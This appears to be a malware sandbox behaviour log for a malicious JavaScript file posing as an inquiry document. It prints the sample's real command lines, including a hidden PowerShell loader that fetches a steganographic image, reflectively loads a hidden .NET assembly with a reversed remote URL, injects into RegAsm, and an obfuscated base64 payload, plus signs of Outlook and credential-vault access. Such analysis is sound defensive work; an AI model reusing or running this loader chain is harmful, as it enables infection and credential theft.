? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB?
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: aclayers.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: vaultcli.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\ProfilesJump to behavior
                      Source: INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.jsStatic file information: File size 1346674 > 1048576
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
